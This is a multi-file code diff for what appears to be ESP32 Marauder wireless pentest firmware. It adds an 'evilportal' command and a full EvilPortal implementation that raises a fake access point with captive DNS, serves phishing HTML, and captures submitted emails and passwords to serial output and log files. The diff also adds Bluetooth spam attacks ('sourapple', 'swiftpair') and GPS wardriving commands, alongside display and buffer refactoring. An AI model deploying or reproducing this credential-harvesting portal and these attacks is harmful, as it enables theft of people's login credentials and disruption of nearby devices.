void Buffer::addPacket(uint8_t* buf, uint32_t len, bool log){
// buffer is full -> drop packet
if((useA && bufSizeA + len >= BUF_SIZE && bufSizeB > 0) || (!useA && bufSizeB + len >= BUF_SIZE && bufSizeA > 0)){
//Serial.print(";");
@@ -64,10 +74,12 @@ void Buffer::addPacket(uint8_t* buf, uint32_t len){
microSeconds -= seconds*1000*1000; // e.g. 45200400 - 45*1000*1000 = 45200400 - 45000000 = 400us (because we only need the offset)
write(seconds); // ts_sec
write(microSeconds); // ts_usec
write(len); // incl_len
write(len); // orig_len
if (!log) {
write(seconds); // ts_sec
write(microSeconds); // ts_usec
write(len); // incl_len
write(len); // orig_len
}
write(buf, len); // packet payload
}

View File

@@ -16,10 +16,10 @@ extern Settings settings_obj;
class Buffer {
public:
Buffer();
void createPcapFile(fs::FS* fs, String fn = "");
void open();
void createPcapFile(fs::FS* fs, String fn = "", bool log = false);
void open(bool log = false);
void close(fs::FS* fs);
void addPacket(uint8_t* buf, uint32_t len);
void addPacket(uint8_t* buf, uint32_t len, bool log = false);
void save(fs::FS* fs);
void forceSave(fs::FS* fs);
void forceSaveSerial();

View File

@@ -213,8 +213,13 @@ void CommandLine::runCommand(String input) {
Serial.println(HELP_CLEARAP_CMD_A);
Serial.println(HELP_REBOOT_CMD);
Serial.println(HELP_UPDATE_CMD_A);
Serial.println(HELP_LS_CMD);
Serial.println(HELP_LED_CMD);
Serial.println(HELP_GPS_DATA_CMD);
Serial.println(HELP_GPS_CMD);
// WiFi sniff/scan
Serial.println(HELP_EVIL_PORTAL_CMD);
Serial.println(HELP_SIGSTREN_CMD);
Serial.println(HELP_SCANAP_CMD);
Serial.println(HELP_SCANSTA_CMD);
@@ -226,6 +231,9 @@ void CommandLine::runCommand(String input) {
Serial.println(HELP_SNIFF_DEAUTH_CMD);
Serial.println(HELP_SNIFF_PMKID_CMD);
Serial.println(HELP_STOPSCAN_CMD);
#ifdef HAS_GPS
Serial.println(HELP_WARDRIVE_CMD);
#endif
// WiFi attack
Serial.println(HELP_ATTACK_CMD);
@@ -237,26 +245,32 @@ void CommandLine::runCommand(String input) {
Serial.println(HELP_SEL_CMD_A);
Serial.println(HELP_SSID_CMD_A);
Serial.println(HELP_SSID_CMD_B);
Serial.println(HELP_JOIN_WIFI_CMD);
// Bluetooth sniff/scan
Serial.println(HELP_BT_SNIFF_CMD);
Serial.println(HELP_BT_SKIM_CMD);
#ifdef HAS_BT
Serial.println(HELP_BT_SNIFF_CMD);
Serial.println(HELP_BT_SOUR_APPLE_CMD);
Serial.println(HELP_BT_SWIFTPAIR_SPAM_CMD);
#ifdef HAS_GPS
Serial.println(HELP_BT_WARDRIVE_CMD);
#endif
Serial.println(HELP_BT_SKIM_CMD);
#endif
Serial.println(HELP_FOOT);
return;
}
// Stop Scan
if (cmd_args.get(0) == STOPSCAN_CMD) {
if (wifi_scan_obj.currentScanMode == OTA_UPDATE) {
wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
//if (wifi_scan_obj.currentScanMode == OTA_UPDATE) {
// wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
//#ifdef HAS_SCREEN
// menu_function_obj.changeMenu(menu_function_obj.updateMenu.parentMenu);
//#endif
WiFi.softAPdisconnect(true);
web_obj.shutdownServer();
return;
}
// WiFi.softAPdisconnect(true);
// web_obj.shutdownServer();
// return;
//}
wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
@@ -268,13 +282,85 @@ void CommandLine::runCommand(String input) {
menu_function_obj.changeMenu(menu_function_obj.current_menu);
#endif
}
else if (cmd_args.get(0) == GPS_DATA_CMD) {
#ifdef HAS_GPS
if (gps_obj.getGpsModuleStatus()) {
Serial.println("Getting GPS Data. Stop with " + (String)STOPSCAN_CMD);
wifi_scan_obj.currentScanMode = WIFI_SCAN_GPS_DATA;
#ifdef HAS_SCREEN
menu_function_obj.changeMenu(&menu_function_obj.gpsInfoMenu);
#endif
wifi_scan_obj.StartScan(WIFI_SCAN_GPS_DATA, TFT_CYAN);
}
#endif
}
else if (cmd_args.get(0) == GPS_CMD) {
#ifdef HAS_GPS
if (gps_obj.getGpsModuleStatus()) {
int get_arg = this->argSearch(&cmd_args, "-g");
if (get_arg != -1) {
String gps_info = cmd_args.get(get_arg + 1);
if (gps_info == "fix")
Serial.println("Fix: " + gps_obj.getFixStatusAsString());
else if (gps_info == "sat")
Serial.println("Sats: " + gps_obj.getNumSatsString());
else if (gps_info == "lat")
Serial.println("Lat: " + gps_obj.getLat());
else if (gps_info == "lon")
Serial.println("Lon: " + gps_obj.getLon());
else if (gps_info == "alt")
Serial.println("Alt: " + (String)gps_obj.getAlt());
else if (gps_info == "date")
Serial.println("Date/Time: " + gps_obj.getDatetime());
else
Serial.println("You did not provide a valid argument");
}
}
#endif
}
// LED command
else if (cmd_args.get(0) == LED_CMD) {
int hex_arg = this->argSearch(&cmd_args, "-s");
int pat_arg = this->argSearch(&cmd_args, "-p");
#ifdef PIN
if (hex_arg != -1) {
String hexstring = cmd_args.get(hex_arg + 1);
int number = (int)strtol(&hexstring[1], NULL, 16);
int r = number >> 16;
int g = number >> 8 & 0xFF;
int b = number & 0xFF;
//Serial.println(r);
//Serial.println(g);
//Serial.println(b);
led_obj.setColor(r, g, b);
led_obj.setMode(MODE_CUSTOM);
}
else if (pat_arg != -1) {
String pat_name = cmd_args.get(pat_arg + 1);
pat_name.toLowerCase();
if (pat_name == "rainbow") {
led_obj.setMode(MODE_RAINBOW);
}
}
#else
Serial.println("This hardware does not support neopixel");
#endif
}
// ls command
else if (cmd_args.get(0) == LS_CMD) {
if (cmd_args.size() > 1)
sd_obj.listDir(cmd_args.get(1));
else
Serial.println("You did not provide a dir to list");
#ifdef HAS_SD
if (cmd_args.size() > 1)
sd_obj.listDir(cmd_args.get(1));
else
Serial.println("You did not provide a dir to list");
#else
Serial.println("SD support disabled, cannot use command");
return;
#endif
}
// Channel command
else if (cmd_args.get(0) == CH_CMD) {
// Search for channel set arg
@@ -366,7 +452,73 @@ void CommandLine::runCommand(String input) {
#endif
wifi_scan_obj.StartScan(WIFI_SCAN_SIG_STREN, TFT_MAGENTA);
}
// Wardrive
else if (cmd_args.get(0) == WARDRIVE_CMD) {
#ifdef HAS_GPS
if (gps_obj.getGpsModuleStatus()) {
int sta_sw = this->argSearch(&cmd_args, "-s");
if (sta_sw == -1) {
Serial.println("Starting Wardrive. Stop with " + (String)STOPSCAN_CMD);
#ifdef HAS_SCREEN
display_obj.clearScreen();
menu_function_obj.drawStatusBar();
#endif
wifi_scan_obj.StartScan(WIFI_SCAN_WAR_DRIVE, TFT_GREEN);
}
else {Serial.println("Starting Station Wardrive. Stop with " + (String)STOPSCAN_CMD);
#ifdef HAS_SCREEN
display_obj.clearScreen();
menu_function_obj.drawStatusBar();
#endif
wifi_scan_obj.StartScan(WIFI_SCAN_STATION_WAR_DRIVE, TFT_GREEN);
}
}
else
Serial.println("GPS Module not detected");
#else
Serial.println("GPS not supported");
#endif
}
// AP Scan
else if (cmd_args.get(0) == EVIL_PORTAL_CMD) {
int cmd_sw = this->argSearch(&cmd_args, "-c");
int html_sw = this->argSearch(&cmd_args, "-w");
if (cmd_sw != -1) {
String et_command = cmd_args.get(cmd_sw + 1);
if (et_command == "start") {
Serial.println("Starting Evil Portal. Stop with " + (String)STOPSCAN_CMD);
#ifdef HAS_SCREEN
display_obj.clearScreen();
menu_function_obj.drawStatusBar();
#endif
if (html_sw != -1) {
String target_html_name = cmd_args.get(html_sw + 1);
evil_portal_obj.target_html_name = target_html_name;
Serial.println("Set html file as " + evil_portal_obj.target_html_name);
}
//else {
// evil_portal_obj.target_html_name = "index.html";
//}
wifi_scan_obj.StartScan(WIFI_SCAN_EVIL_PORTAL, TFT_MAGENTA);
}
else if (et_command == "reset") {
}
else if (et_command == "ack") {
}
else if (et_command == "sethtml") {
String target_html_name = cmd_args.get(cmd_sw + 2);
evil_portal_obj.target_html_name = target_html_name;
Serial.println("Set html file as " + evil_portal_obj.target_html_name);
}
else if (et_command == "setap") {
}
}
}
else if (cmd_args.get(0) == SCANAP_CMD) {
int full_sw = -1;
#ifdef HAS_SCREEN
@@ -632,6 +784,63 @@ void CommandLine::runCommand(String input) {
Serial.println("Bluetooth not supported");
#endif
}
else if (cmd_args.get(0) == BT_SOUR_APPLE_CMD) {
#ifdef HAS_BT
Serial.println("Starting Sour Apple attack. Stop with " + (String)STOPSCAN_CMD);
#ifdef HAS_SCREEN
display_obj.clearScreen();
menu_function_obj.drawStatusBar();
#endif
wifi_scan_obj.StartScan(BT_ATTACK_SOUR_APPLE, TFT_GREEN);
#else
Serial.println("Bluetooth not supported");
#endif
}
else if (cmd_args.get(0) == BT_SWIFTPAIR_SPAM_CMD) {
#ifdef HAS_BT
Serial.println("Starting Swiftpair Spam attack. Stop with " + (String)STOPSCAN_CMD);
#ifdef HAS_SCREEN
display_obj.clearScreen();
menu_function_obj.drawStatusBar();
#endif
wifi_scan_obj.StartScan(BT_ATTACK_SWIFTPAIR_SPAM, TFT_CYAN);
#else
Serial.println("Bluetooth not supported");
#endif
}
// Wardrive
else if (cmd_args.get(0) == BT_WARDRIVE_CMD) {
#ifdef HAS_BT
#ifdef HAS_GPS
if (gps_obj.getGpsModuleStatus()) {
int cont_sw = this->argSearch(&cmd_args, "-c");
if (cont_sw == -1) {
Serial.println("Starting BT Wardrive. Stop with " + (String)STOPSCAN_CMD);
#ifdef HAS_SCREEN
display_obj.clearScreen();
menu_function_obj.drawStatusBar();
#endif
wifi_scan_obj.StartScan(BT_SCAN_WAR_DRIVE, TFT_GREEN);
}
else {Serial.println("Starting Continuous BT Wardrive. Stop with " + (String)STOPSCAN_CMD);
#ifdef HAS_SCREEN
display_obj.clearScreen();
menu_function_obj.drawStatusBar();
#endif
wifi_scan_obj.StartScan(BT_SCAN_WAR_DRIVE_CONT, TFT_GREEN);
}
}
else
Serial.println("GPS Module not detected");
#else
Serial.println("GPS not supported");
#endif
#else
Serial.println("Bluetooth not supported");
#endif
}
// Bluetooth CC Skimmer scan
else if (cmd_args.get(0) == BT_SKIM_CMD) {
#ifdef HAS_BT
@@ -648,30 +857,35 @@ void CommandLine::runCommand(String input) {
// Update command
if (cmd_args.get(0) == UPDATE_CMD) {
int w_sw = this->argSearch(&cmd_args, "-w"); // Web update
//int w_sw = this->argSearch(&cmd_args, "-w"); // Web update
int sd_sw = this->argSearch(&cmd_args, "-s"); // SD Update
// Update via OTA
if (w_sw != -1) {
Serial.println("Starting Marauder OTA Update. Stop with " + (String)STOPSCAN_CMD);
wifi_scan_obj.currentScanMode = OTA_UPDATE;
//if (w_sw != -1) {
// Serial.println("Starting Marauder OTA Update. Stop with " + (String)STOPSCAN_CMD);
// wifi_scan_obj.currentScanMode = OTA_UPDATE;
//#ifdef HAS_SCREEN
// menu_function_obj.changeMenu(menu_function_obj.updateMenu);
//#endif
web_obj.setupOTAupdate();
}
// web_obj.setupOTAupdate();
//}
// Update via SD
else if (sd_sw != -1) {
#ifndef WRITE_PACKETS_SERIAL
if (!sd_obj.supported) {
Serial.println("SD card is not connected. Cannot perform SD Update");
return;
}
wifi_scan_obj.currentScanMode = OTA_UPDATE;
sd_obj.runUpdate();
#else
Serial.println("SD card not initialized. Cannot perform SD Update");
#endif
if (sd_sw != -1) {
#ifdef HAS_SD
#ifndef WRITE_PACKETS_SERIAL
if (!sd_obj.supported) {
Serial.println("SD card is not connected. Cannot perform SD Update");
return;
}
wifi_scan_obj.currentScanMode = OTA_UPDATE;
sd_obj.runUpdate();
#else
Serial.println("SD card not initialized. Cannot perform SD Update");
#endif
#else
Serial.println("SD card support disabled. Cannot perform SD Update");
return;
#endif
}
}
}
@@ -926,7 +1140,7 @@ void CommandLine::runCommand(String input) {
}
}
// Join WiFi
else if (cmd_args.get(0) == JOINWIFI_CMD) {
/*else if (cmd_args.get(0) == JOINWIFI_CMD) {
int n_sw = this->argSearch(&cmd_args, "-n"); // name
int a_sw = this->argSearch(&cmd_args, "-a"); // access point
int s_sw = this->argSearch(&cmd_args, "-s"); // ssid
@@ -961,5 +1175,5 @@ void CommandLine::runCommand(String input) {
}
Serial.println("Attempting to join WiFi with ssid " + (String)essid);
wifi_scan_obj.joinWiFi(essid, pwx);
}
}*/
}

View File

@@ -9,9 +9,12 @@
#endif
#include "WiFiScan.h"
#include "Web.h"
#include "SDInterface.h"
//#include "Web.h"
#ifdef HAS_SD
#include "SDInterface.h"
#endif
#include "settings.h"
#include "LedInterface.h"
#ifdef HAS_SCREEN
extern MenuFunctions menu_function_obj;
@@ -19,13 +22,17 @@
#endif
extern WiFiScan wifi_scan_obj;
extern Web web_obj;
extern SDInterface sd_obj;
//extern Web web_obj;
#ifdef HAS_SD
extern SDInterface sd_obj;
#endif
extern Settings settings_obj;
extern LedInterface led_obj;
extern LinkedList<AccessPoint>* access_points;
extern LinkedList<ssid>* ssids;
extern LinkedList<Station>* stations;
extern const String PROGMEM version_number;
extern const String PROGMEM board_target;
//// Commands
@@ -37,8 +44,12 @@ const char PROGMEM UPDATE_CMD[] = "update";
const char PROGMEM HELP_CMD[] = "help";
const char PROGMEM SETTINGS_CMD[] = "settings";
const char PROGMEM LS_CMD[] = "ls";
const char PROGMEM LED_CMD[] = "led";
const char PROGMEM GPS_DATA_CMD[] = "gpsdata";
const char PROGMEM GPS_CMD[] = "gps";
// WiFi sniff/scan
const char PROGMEM EVIL_PORTAL_CMD[] = "evilportal";
const char PROGMEM SIGSTREN_CMD[] = "sigmon";
const char PROGMEM SCANAP_CMD[] = "scanap";
const char PROGMEM SCANSTA_CMD[] = "scansta";
@@ -50,6 +61,7 @@ const char PROGMEM SNIFF_ESP_CMD[] = "sniffesp";
const char PROGMEM SNIFF_DEAUTH_CMD[] = "sniffdeauth";
const char PROGMEM SNIFF_PMKID_CMD[] = "sniffpmkid";
const char PROGMEM STOPSCAN_CMD[] = "stopscan";
const char PROGMEM WARDRIVE_CMD[] = "wardrive";
// WiFi attack
const char PROGMEM ATTACK_CMD[] = "attack";
@@ -62,10 +74,12 @@ const char PROGMEM ATTACK_TYPE_RR[] = "rickroll";
const char PROGMEM LIST_AP_CMD[] = "list";
const char PROGMEM SEL_CMD[] = "select";
const char PROGMEM SSID_CMD[] = "ssid";
const char PROGMEM JOINWIFI_CMD[] = "join";
// Bluetooth sniff/scan
const char PROGMEM BT_SNIFF_CMD[] = "sniffbt";
const char PROGMEM BT_SOUR_APPLE_CMD[] = "sourapple";
const char PROGMEM BT_SWIFTPAIR_SPAM_CMD[] = "swiftpair";
const char PROGMEM BT_WARDRIVE_CMD[] = "btwardrive";
const char PROGMEM BT_SKIM_CMD[] = "sniffskim";
@@ -78,8 +92,12 @@ const char PROGMEM HELP_REBOOT_CMD[] = "reboot";
const char PROGMEM HELP_UPDATE_CMD_A[] = "update -s/-w";
const char PROGMEM HELP_SETTINGS_CMD[] = "settings [-s <setting> enable/disable>]/[-r]";
const char PROGMEM HELP_LS_CMD[] = "ls <directory>";
const char PROGMEM HELP_LED_CMD[] = "led -s <hex color>/-p <rainbow>";
const char PROGMEM HELP_GPS_DATA_CMD[] = "gpsdata";
const char PROGMEM HELP_GPS_CMD[] = "gps [-g] <fix/sat/lon/lat/alt/date>";
// WiFi sniff/scan
const char PROGMEM HELP_EVIL_PORTAL_CMD[] = "evilportal [-c start [-w html.html]/sethtml <html.html>]";
const char PROGMEM HELP_SIGSTREN_CMD[] = "sigmon";
const char PROGMEM HELP_SCANAP_CMD[] = "scanap";
const char PROGMEM HELP_SCANSTA_CMD[] = "scansta";
@@ -91,7 +109,7 @@ const char PROGMEM HELP_SNIFF_ESP_CMD[] = "sniffesp";
const char PROGMEM HELP_SNIFF_DEAUTH_CMD[] = "sniffdeauth";
const char PROGMEM HELP_SNIFF_PMKID_CMD[] = "sniffpmkid [-c <channel>][-d][-l]";
const char PROGMEM HELP_STOPSCAN_CMD[] = "stopscan";
const char PROGMEM HELP_JOIN_WIFI_CMD[] = "join [-n <ssid_name>/-s <ssid_index>/-a <access_point_index>] -p <password>";
const char PROGMEM HELP_WARDRIVE_CMD[] = "wardrive [-s]";
// WiFi attack
const char PROGMEM HELP_ATTACK_CMD[] = "attack -t <beacon [-l/-r/-a]/deauth [-c]/[-s <src mac>] [-d <dst mac>]/probe/rickroll>";
@@ -106,6 +124,9 @@ const char PROGMEM HELP_SSID_CMD_B[] = "ssid -r <index>";
// Bluetooth sniff/scan
const char PROGMEM HELP_BT_SNIFF_CMD[] = "sniffbt";
const char PROGMEM HELP_BT_SOUR_APPLE_CMD[] = "sourapple";
const char PROGMEM HELP_BT_SWIFTPAIR_SPAM_CMD[] = "swiftpair";
const char PROGMEM HELP_BT_WARDRIVE_CMD[] = "btwardrive [-c]";
const char PROGMEM HELP_BT_SKIM_CMD[] = "sniffskim";
const char PROGMEM HELP_FOOT[] = "==================================";

View File

@@ -319,7 +319,7 @@ void Display::displayBuffer(bool do_clear)
void Display::showCenterText(String text, int y)
{
tft.setCursor((SCREEN_WIDTH - (text.length() * 6)) / 2, y);
tft.setCursor((SCREEN_WIDTH - (text.length() * (6 * BANNER_TEXT_SIZE))) / 2, y);
tft.println(text);
}
@@ -427,7 +427,7 @@ void Display::drawJpeg(const char *filename, int xpos, int ypos) {
// the filename can be a String or character array type:
//boolean decoded = JpegDec.decodeFsFile(filename); // or pass the filename (leading / distinguishes SPIFFS files)
boolean decoded = JpegDec.decodeArray(MarauderTitle, 13578);
boolean decoded = JpegDec.decodeArray(MarauderTitle, MARAUDER_TITLE_BYTES);
if (decoded) {
// print information about the image to the serial port
@@ -441,13 +441,13 @@ void Display::drawJpeg(const char *filename, int xpos, int ypos) {
//}
}
void Display::setupDraw() {
/*void Display::setupDraw() {
this->tft.drawLine(0, 0, 10, 0, TFT_MAGENTA);
this->tft.drawLine(0, 0, 0, 10, TFT_GREEN);
this->tft.drawLine(0, 0, 0, 0, TFT_CYAN);
}
}*/
uint16_t xlast;
/*uint16_t xlast;
uint16_t ylast;
uint32_t AH;
void Display::drawStylus()
@@ -513,7 +513,7 @@ void Display::drawStylus()
xlast = 0;
ylast = 0;
}
}
}*/
//====================================================================================
// Decode and render the Jpeg image onto the TFT screen
@@ -751,20 +751,20 @@ void Display::listDir(fs::FS &fs, const char * dirname, uint8_t levels) {
void Display::updateBanner(String msg)
{
this->img.deleteSprite();
//this->img.deleteSprite();
this->img.setColorDepth(8);
//this->img.setColorDepth(8);
this->img.createSprite(SCREEN_WIDTH, TEXT_HEIGHT);
//this->img.createSprite(SCREEN_WIDTH, TEXT_HEIGHT);
this->buildBanner(msg, current_banner_pos);
this->img.pushSprite(0, STATUS_BAR_WIDTH);
//this->img.pushSprite(0, STATUS_BAR_WIDTH);
current_banner_pos--;
//current_banner_pos--;
if (current_banner_pos <= 0)
current_banner_pos = SCREEN_WIDTH + 2;
//if (current_banner_pos <= 0)
// current_banner_pos = SCREEN_WIDTH + 2;
}
@@ -772,6 +772,13 @@ void Display::buildBanner(String msg, int xpos)
{
int h = TEXT_HEIGHT;
this->tft.fillRect(0, STATUS_BAR_WIDTH, SCREEN_WIDTH, TEXT_HEIGHT, TFT_BLACK);
this->tft.setFreeFont(NULL); // Font 4 selected
this->tft.setTextSize(BANNER_TEXT_SIZE); // Font size scaling is x1
this->tft.setTextColor(TFT_WHITE, TFT_BLACK); // Black text, no background colour
this->showCenterText(msg, STATUS_BAR_WIDTH);
/*
// We could just use fillSprite(color) but lets be a bit more creative...
// Fill with rainbow stripes
@@ -793,6 +800,7 @@ void Display::buildBanner(String msg, int xpos)
img.setCursor(xpos - SCREEN_WIDTH, 2); // Print text at xpos - sprite width
img.print(msg);
*/
}
void Display::main(uint8_t scan_mode)

View File

@@ -8,12 +8,10 @@
#include <FS.h>
#include <functional>
#include <JPEGDecoder.h>
//#include <SimpleList.h>
#include <LinkedList.h>
#include <SPI.h>
#include <lvgl.h>
#include <Ticker.h>
//#include <M5Stack.h>
#include "SPIFFS.h"
#include "Assets.h"
@@ -39,23 +37,6 @@
#define LV_ADD_SSID 14
#define WIFI_ATTACK_BEACON_LIST 15
/*
PROGMEM void my_disp_flush(lv_disp_drv_t *disp, const lv_area_t *area, lv_color_t *color_p);
PROGMEM bool my_touchpad_read(lv_indev_drv_t * indev_driver, lv_indev_data_t * data);
PROGMEM static lv_disp_buf_t disp_buf;
PROGMEM static lv_color_t buf[LV_HOR_RES_MAX * 10];
PROGMEM static void ta_event_cb(lv_obj_t * ta, lv_event_t event);
PROGMEM static void keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
// lvgl stuff
PROGMEM static lv_obj_t *kb;
*/
// #define KIT
// #define TFT_DIY
class Display
{
private:
@@ -76,16 +57,9 @@ class Display
void scrollScreenBuffer(bool down = false);
#endif
//void addNodes(Menu* menu, String name, Menu* child, std::function<void()> callable);
//void changeMenu(Menu* menu);
//void showMenuList(Menu* menu, int layer);
//static void lv_tick_handler();
public:
Display();
//Ticker tick;
TFT_eSPI tft = TFT_eSPI();
TFT_eSprite img = TFT_eSprite(&tft);
TFT_eSPI_Button key[BUTTON_ARRAY_LEN];
const String PROGMEM version_number = MARAUDER_VERSION;
@@ -95,15 +69,9 @@ class Display
bool draw_tft = false;
bool exit_draw = false;
int TOP_FIXED_AREA_2 = 48;
int print_delay_1, print_delay_2 = 10;
int current_banner_pos = SCREEN_WIDTH;
//Menu* current_menu;
//Menu mainMenu;
//Menu wifiMenu;
//Menu bluetoothMenu;
uint8_t TOP_FIXED_AREA_2 = 48;
uint8_t print_delay_1, print_delay_2 = 10;
uint8_t current_banner_pos = SCREEN_WIDTH;
LinkedList<String>* display_buffer;
@@ -127,9 +95,6 @@ class Display
// We can speed up scrolling of short text lines by just blanking the character we drew
int blank[19]; // We keep all the strings pixel lengths to optimise the speed of the top line blanking
//void initLVGL();
//void deinitLVGL();
//void joinWiFiGFX();
void tftDrawRedOnOffButton();
void tftDrawGreenOnOffButton();
void tftDrawGraphObjects(byte x_scale);
@@ -143,8 +108,6 @@ class Display
void clearScreen();
void displayBuffer(bool do_clear = false);
void drawJpeg(const char *filename, int xpos, int ypos);
void setupDraw();
void drawStylus();
void getTouchWhileFunction(bool pressed);
void initScrollValues(bool tte = false);
void jpegInfo();

View File

@@ -0,0 +1,310 @@
#include "EvilPortal.h"
AsyncWebServer server(80);
EvilPortal::EvilPortal() {
this->runServer = false;
this->name_received = false;
this->password_received = false;
this->has_html = false;
this->has_ap = false;
}
bool EvilPortal::begin(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points) {
if (!this->setAP(ssids, access_points))
return false;
if (!this->setHtml())
return false;
startPortal();
return true;
}
String EvilPortal::get_user_name() {
return this->user_name;
}
String EvilPortal::get_password() {
return this->password;
}
void EvilPortal::setupServer() {
server.on("/", HTTP_GET, [this](AsyncWebServerRequest *request) {
request->send_P(200, "text/html", index_html);
Serial.println("client connected");
#ifdef HAS_SCREEN
this->sendToDisplay("Client connected to server");
#endif
});
server.on("/get", HTTP_GET, [this](AsyncWebServerRequest *request) {
String inputMessage;
String inputParam;
if (request->hasParam("email")) {
inputMessage = request->getParam("email")->value();
inputParam = "email";
this->user_name = inputMessage;
this->name_received = true;
}
if (request->hasParam("password")) {
inputMessage = request->getParam("password")->value();
inputParam = "password";
this->password = inputMessage;
this->password_received = true;
}
request->send(
200, "text/html",
"<html><head><script>setTimeout(() => { window.location.href ='/' }, 100);</script></head><body></body></html>");
});
Serial.println("web server up");
}
bool EvilPortal::setHtml() {
Serial.println("Setting HTML...");
#ifndef WRITE_PACKETS_SERIAL
File html_file = sd_obj.getFile("/" + this->target_html_name);
if (!html_file) {
#ifdef HAS_SCREEN
this->sendToDisplay("Could not find /" + this->target_html_name);
this->sendToDisplay("Touch to exit...");
#endif
Serial.println("Could not find /" + this->target_html_name + ". Use stopscan...");
return false;
}
else {
if (html_file.size() > MAX_HTML_SIZE) {
#ifdef HAS_SCREEN
this->sendToDisplay("The given HTML is too large.");
this->sendToDisplay("The Byte limit is " + (String)MAX_HTML_SIZE);
this->sendToDisplay("Touch to exit...");
#endif
Serial.println("The provided HTML is too large. Byte limit is " + (String)MAX_HTML_SIZE + "\nUse stopscan...");
return false;
}
String html = "";
while (html_file.available()) {
char c = html_file.read();
if (isPrintable(c))
html.concat(c);
}
strncpy(index_html, html.c_str(), strlen(html.c_str()));
this->has_html = true;
Serial.println("html set");
html_file.close();
return true;
}
#else
return false;
#endif
}
bool EvilPortal::setAP(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points) {
// See if there are selected APs first
String ap_config = "";
String temp_ap_name = "";
for (int i = 0; i < access_points->size(); i++) {
if (access_points->get(i).selected) {
temp_ap_name = access_points->get(i).essid;
break;
}
}
// If there are no SSIDs and there are no APs selected, pull from file
// This means the file is last resort
if ((ssids->size() <= 0) && (temp_ap_name == "")) {
#ifndef WRITE_PACKETS_SERIAL
File ap_config_file = sd_obj.getFile("/ap.config.txt");
// Could not open config file. return false
if (!ap_config_file) {
#ifdef HAS_SCREEN
this->sendToDisplay("Could not find /ap.config.txt.");
this->sendToDisplay("Touch to exit...");
#endif
Serial.println("Could not find /ap.config.txt. Use stopscan...");
return false;
}
// Config file good. Proceed
else {
// ap name too long. return false
if (ap_config_file.size() > MAX_AP_NAME_SIZE) {
#ifdef HAS_SCREEN
this->sendToDisplay("The given AP name is too large.");
this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
this->sendToDisplay("Touch to exit...");
#endif
Serial.println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
return false;
}
// AP name length good. Read from file into var
while (ap_config_file.available()) {
char c = ap_config_file.read();
Serial.print(c);
if (isPrintable(c)) {
ap_config.concat(c);
}
}
#ifdef HAS_SCREEN
this->sendToDisplay("AP name from config file");
this->sendToDisplay("AP name: " + ap_config);
#endif
Serial.println("AP name from config file: " + ap_config);
ap_config_file.close();
}
#else
return false;
#endif
}
// There are SSIDs in the list but there could also be an AP selected
// Priority is SSID list before AP selected and config file
else if (ssids->size() > 0) {
ap_config = ssids->get(0).essid;
if (ap_config.length() > MAX_AP_NAME_SIZE) {
#ifdef HAS_SCREEN
this->sendToDisplay("The given AP name is too large.");
this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
this->sendToDisplay("Touch to exit...");
#endif
Serial.println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
return false;
}
#ifdef HAS_SCREEN
this->sendToDisplay("AP name from SSID list");
this->sendToDisplay("AP name: " + ap_config);
#endif
Serial.println("AP name from SSID list: " + ap_config);
}
else if (temp_ap_name != "") {
if (temp_ap_name.length() > MAX_AP_NAME_SIZE) {
#ifdef HAS_SCREEN
this->sendToDisplay("The given AP name is too large.");
this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
this->sendToDisplay("Touch to exit...");
#endif
Serial.println("The given AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
}
else {
ap_config = temp_ap_name;
#ifdef HAS_SCREEN
this->sendToDisplay("AP name from AP list");
this->sendToDisplay("AP name: " + ap_config);
#endif
Serial.println("AP name from AP list: " + ap_config);
}
}
else {
Serial.println("Could not configure Access Point. Use stopscan...");
#ifdef HAS_SCREEN
this->sendToDisplay("Could not configure Access Point.");
this->sendToDisplay("Touch to exit...");
#endif
}
if (ap_config != "") {
strncpy(apName, ap_config.c_str(), MAX_AP_NAME_SIZE);
this->has_ap = true;
Serial.println("ap config set");
return true;
}
else
return false;
}
void EvilPortal::startAP() {
Serial.print("starting ap ");
Serial.println(apName);
WiFi.mode(WIFI_AP);
WiFi.softAP(apName);
#ifdef HAS_SCREEN
this->sendToDisplay("AP started");
#endif
Serial.print("ap ip address: ");
Serial.println(WiFi.softAPIP());
this->setupServer();
this->dnsServer.start(53, "*", WiFi.softAPIP());
server.addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER);
server.begin();
#ifdef HAS_SCREEN
this->sendToDisplay("Evil Portal READY");
#endif
}
void EvilPortal::startPortal() {
// wait for flipper input to get config index
this->startAP();
this->runServer = true;
}
void EvilPortal::convertStringToUint8Array(const String& str, uint8_t*& buf, uint32_t& len) {
len = str.length(); // Obtain the length of the string
buf = new uint8_t[len]; // Dynamically allocate the buffer
// Copy each character from the string to the buffer
for (uint32_t i = 0; i < len; i++) {
buf[i] = static_cast<uint8_t>(str.charAt(i));
}
}
void EvilPortal::addLog(String log, int len) {
bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
if (save_packet) {
uint8_t* logBuffer = nullptr;
uint32_t logLength = 0;
this->convertStringToUint8Array(log, logBuffer, logLength);
#ifdef WRITE_PACKETS_SERIAL
buffer_obj.addPacket(logBuffer, logLength, true);
delete[] logBuffer;
#elif defined(HAS_SD)
sd_obj.addPacket(logBuffer, logLength, true);
delete[] logBuffer;
#else
delete[] logBuffer;
return;
#endif
}
}
void EvilPortal::sendToDisplay(String msg) {
#ifdef HAS_SCREEN
String display_string = "";
display_string.concat(msg);
int temp_len = display_string.length();
for (int i = 0; i < 40 - temp_len; i++)
{
display_string.concat(" ");
}
display_obj.loading = true;
display_obj.display_buffer->add(display_string);
display_obj.loading = false;
#endif
}
void EvilPortal::main(uint8_t scan_mode) {
if ((scan_mode == WIFI_SCAN_EVIL_PORTAL) && (this->has_ap) && (this->has_html)){
this->dnsServer.processNextRequest();
if (this->name_received && this->password_received) {
this->name_received = false;
this->password_received = false;
String logValue1 =
"u: " + this->user_name;
String logValue2 = "p: " + this->password;
String full_string = logValue1 + " " + logValue2 + "\n";
Serial.print(full_string);
this->addLog(full_string, full_string.length());
